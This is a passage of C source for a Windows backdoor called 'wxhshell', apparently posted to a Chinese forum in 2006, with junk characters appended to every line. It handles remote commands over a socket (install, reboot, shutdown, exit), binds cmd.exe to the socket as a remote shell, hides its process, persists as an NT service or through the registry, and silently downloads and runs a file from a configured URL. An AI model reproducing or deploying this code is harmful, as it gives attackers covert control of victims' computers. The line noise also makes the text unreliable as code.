  case '?': { F!.E5<&7=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wYlf^~#"  
    break; CX m+)a-L  
  } m5Tr-w$QY  
  // 安装 "5A&_E }3  
  case 'i': { PH{_ ,X  
    if(Install()) [ib P%xb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %N#%|2B  
    else b9XW9O `B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !|<=ZF2  
    break; O3CFme  
    } =!Q7}z1QI  
  // 卸载 AO UL^$&  
  case 'r': { CZbYAxNl  
    if(Uninstall()) :EHJ\+kejX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N&[D>G]>v  
    else 7w1wr)qSB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nW|wY.  
    break; boo }u  
    } {$ep7;'d  
  // 显示 wxhshell 所在路径 gqWupL  
  case 'p': { o:6@ Kw^  
    char svExeFile[MAX_PATH]; dZ _zg<  
    strcpy(svExeFile,"\n\r"); LbtX0^  
      strcat(svExeFile,ExeFile); HD N9.5 S  
        send(wsh,svExeFile,strlen(svExeFile),0); 07Ed fe  
    break; 6K-5g/hL  
    } -[qq(E  
  // 重启 K6olYG>  
  case 'b': { wd/< 8>2X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MfmACd^3$  
    if(Boot(REBOOT)) ^`<w&I@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%5eVG  
    else { q:<{% U$  
    closesocket(wsh); N D<HXO  
    ExitThread(0); b$eXFi/  
    } }y%oT P&  
    break; 9!><<7TS  
    } i>[_r,-\[  
  // 关机 u=YX9Mo!  
  case 'd': { Qeu\&%C!<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?h!i0Rsm  
    if(Boot(SHUTDOWN)) }za[E>z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|_"W+JC  
    else { Z/ Tm)Xd  
    closesocket(wsh); ?<* -j4v  
    ExitThread(0); 9 fMau  
    } 2!Bd2  
    break; n$[f94d=  
    } DD44"w_9  
  // 获取shell s[gKc'  
  case 's': { XW?b\!@ $  
    CmdShell(wsh); (Y^X0yA/  
    closesocket(wsh); O+RP3ox"  
    ExitThread(0); RaTH\ >n  
    break; z]3 `*/B  
  } %_UN<a  
  // 退出 ,|88r=}  
  case 'x': { Z`&4SH=j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X w.p  
    CloseIt(wsh); iVfgDo  
    break; L}m8AAkP[  
    } pZyQY+O  
  // 离开 %okzOKKX  
  case 'q': { X{kpSA~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v2,%K`pAU  
    closesocket(wsh); QKE9R-K TE  
    WSACleanup(); +-B^Z On  
    exit(1); z_ =Bt  
    break; zS< jd~  
        } 2Dd|~{%  
  } r 6eb}z!i  
  } v=95_l  
MZ+e}|!4,  
  // 提示信息 8J)xzp`*)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VxFOYC>p  
} $F.kK%-*  
  } GTv#nnC  
L^^4=ao0  
  return; Kq.:G%  
} -VZRujl  
[j4v]PE  
// shell模块句柄 Eq:2k)BE  
int CmdShell(SOCKET sock) oQ=>'w  
{ 7a=S  
STARTUPINFO si; 4Z*U}w)  
ZeroMemory(&si,sizeof(si)); 4'p=p#o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s s 3t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VGqa)ri"  
PROCESS_INFORMATION ProcessInfo; irk*~k ?  
char cmdline[]="cmd"; p*5\+WO>!(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I\ | N  
  return 0; _j>;ipTb+  
} +}Av-47`h  
aiCn"j  
// 自身启动模式 A>VX*xd  
int StartFromService(void) .qob_dRA  
{ E VQ0l@K  
typedef struct xmGk*W)P  
{ KS*oxZ  
  DWORD ExitStatus; ]4 (?BJ  
  DWORD PebBaseAddress; 9%sM*[A  
  DWORD AffinityMask; DF{OnF  
  DWORD BasePriority; 0Aa`p3.)  
  ULONG UniqueProcessId; H.G!A6bd  
  ULONG InheritedFromUniqueProcessId; KLC{7"6e)  
}   PROCESS_BASIC_INFORMATION; wY"o`o Z  
@ d"wAZzD?  
PROCNTQSIP NtQueryInformationProcess; AOrHU M[I  
h.K(P+h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YRlDX:oX~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Vf}NF  
fa.0I~  
  HANDLE             hProcess; F>gmj'-^  
  PROCESS_BASIC_INFORMATION pbi; V^Rkt%JY  
tZ2e!<C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [0[M'![8M  
  if(NULL == hInst ) return 0; YDmWN#  
E2B>b[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  j<"nO(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7-_vY[)/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~:_0CKa!  
YxJD_R  
  if (!NtQueryInformationProcess) return 0; _{~]/k  
`B8tmW#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nT#JOmv  
  if(!hProcess) return 0; x|eeRf|  
p4VSm a_(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !MQ N  H  
+Zk,2ri  
  CloseHandle(hProcess); p2x [p  
VF0dE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TJ6#P<M  
if(hProcess==NULL) return 0; 59Sw+iZj  
NHX>2-b  
HMODULE hMod; \Btk;ivg  
char procName[255]; [RU NuO  
unsigned long cbNeeded; 9h(IUD{8  
#f'DEo<b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y@F  
pw'wWZE'  
  CloseHandle(hProcess); h7qBp300  
MEwdw3  
if(strstr(procName,"services")) return 1; // 以服务启动 |)_-Bi;MW`  
:u%$0p>  
  return 0; // 注册表启动 ZI ?W5ISdg  
} 6ew "fCrH!  
2H?d+6Pt3  
// 主模块 %c^ m\ E  
int StartWxhshell(LPSTR lpCmdLine) wX1ig  
{ fMK#x\.4  
  SOCKET wsl; Hlj6$%.  
BOOL val=TRUE; qX>Q+_^  
  int port=0; #WE]`zd  
  struct sockaddr_in door; L*?!Z^k  
EY>8O+  
  if(wscfg.ws_autoins) Install(); `{FwTZ=6{  
Zzd/K^gg  
port=atoi(lpCmdLine); +lO'wa7|3  
igDyp0t  
if(port<=0) port=wscfg.ws_port; nb dGt  
EH`0  
  WSADATA data; UCqs}U8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gg0#H^s( (  
7el<5chZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X`20f1c6q>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |k-XBp  
  door.sin_family = AF_INET; YT2'!R 1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sM\&. <B  
  door.sin_port = htons(port); lUh*?l  
w.kCBDL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { heD,& OX  
closesocket(wsl); qjC_*X!  
return 1; !}&" W,,0  
} 7S2C/f  
c 8'Cq7  
  if(listen(wsl,2) == INVALID_SOCKET) { 2DMrMmLI  
closesocket(wsl); WBppKj_M  
return 1; )@:l^$x  
} ehO:')XF  
  Wxhshell(wsl); zsTbdF  
  WSACleanup(); &^ I+s^\=  
9F_6}.O  
return 0; +?N}Y{Y&  
Ht=$] Px  
} m7 XjP2   
9d[qh kPu)  
// 以NT服务方式启动 QXk"?yT`E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u2qV6/  
{ MguL$W&l  
DWORD   status = 0; aMCO"66b  
  DWORD   specificError = 0xfffffff; j|'R$|  
{},;-%xE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sr y,@p)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q(\ wx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $@87?Ab  
  serviceStatus.dwWin32ExitCode     = 0; UxPGv;F  
  serviceStatus.dwServiceSpecificExitCode = 0; -ID!pTvW  
  serviceStatus.dwCheckPoint       = 0;  Q&+c.S  
  serviceStatus.dwWaitHint       = 0; V;[p438o  
Lk(S2$)*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2bA#D%PHD  
  if (hServiceStatusHandle==0) return; zv%J=N$G  
ZzL@[g  
status = GetLastError(); F2oJ]th.3  
  if (status!=NO_ERROR) Lb q_~   
{ `Wf5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rye)qp|  
    serviceStatus.dwCheckPoint       = 0;  ~u/@rqF  
    serviceStatus.dwWaitHint       = 0; 41;)-(1  
    serviceStatus.dwWin32ExitCode     = status; ic~Z_?p  
    serviceStatus.dwServiceSpecificExitCode = specificError; k46gY7y,9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9.Ap~Ay.  
    return; Kx]> fHK  
  } #Go(tS~o  
t.z$j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T7GQ^WnA  
  serviceStatus.dwCheckPoint       = 0; ;nf&c;D  
  serviceStatus.dwWaitHint       = 0; Iu6W=A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R@ QQNYU.D  
} UA0tFeH  
YmCbxYa7  
// 处理NT服务事件,比如:启动、停止 4_< nQ9K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4[l^0  
{ <$C<Ba?;?  
switch(fdwControl) 9A*rE.B+W  
{ DNho%Xk  
case SERVICE_CONTROL_STOP: 9}n,@@  
  serviceStatus.dwWin32ExitCode = 0; W8.j /K:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /W9 &Ke  
  serviceStatus.dwCheckPoint   = 0; 1#!@["  
  serviceStatus.dwWaitHint     = 0;  oWrE2U;  
  { 83?1<v0%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;vUxO<cKFq  
  } {h^c  
  return; <[8@5?&&  
case SERVICE_CONTROL_PAUSE: " ~n3iNkP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =L16hDk o  
  break; xvO 3BU~2  
case SERVICE_CONTROL_CONTINUE: _> Ln@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {jG.=}/Dk  
  break; /d]~ly @uI  
case SERVICE_CONTROL_INTERROGATE: # `58F.  
  break; "8_,tYAH  
}; .P%ym~S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4@))OD^x  
} KZi' v6  
KZ4zF  
// 标准应用程序主函数 1*#bfeoM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CSH`pU  
{ u7(];  
=f4< ({9  
// 获取操作系统版本 h+xA?[ c=  
OsIsNt=GetOsVer(); 4a 4N C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /b+;: z  
2|s<[V3rP-  
  // 从命令行安装 iha9!kf  
  if(strpbrk(lpCmdLine,"iI")) Install(); mLULd}g/o  
<hMtE/05B  
  // 下载执行文件 kyK'  
if(wscfg.ws_downexe) { sr4jQo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qhN[Dj(d  
  WinExec(wscfg.ws_filenam,SW_HIDE); . o"<N  
} @4&, #xo  
cLHF9B5  
if(!OsIsNt) { edTMl;4  
// 如果时win9x,隐藏进程并且设置为注册表启动 i9y3PP)  
HideProc(); a.CF9m5]c  
StartWxhshell(lpCmdLine); 'FqEB]gu  
} /Bm#`?(ia  
else fK);!Hh  
  if(StartFromService()) w=5   
  // 以服务方式启动 4y1>  
  StartServiceCtrlDispatcher(DispatchTable); \"J?@  
else G#'Q~N  
  // 普通方式启动 drs-mt8  
  StartWxhshell(lpCmdLine); (>mi!:  
?^Pq/VtZ  
return 0; KZW'O b>[  
}
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只看该作者 1 发表于: 2006-10-10
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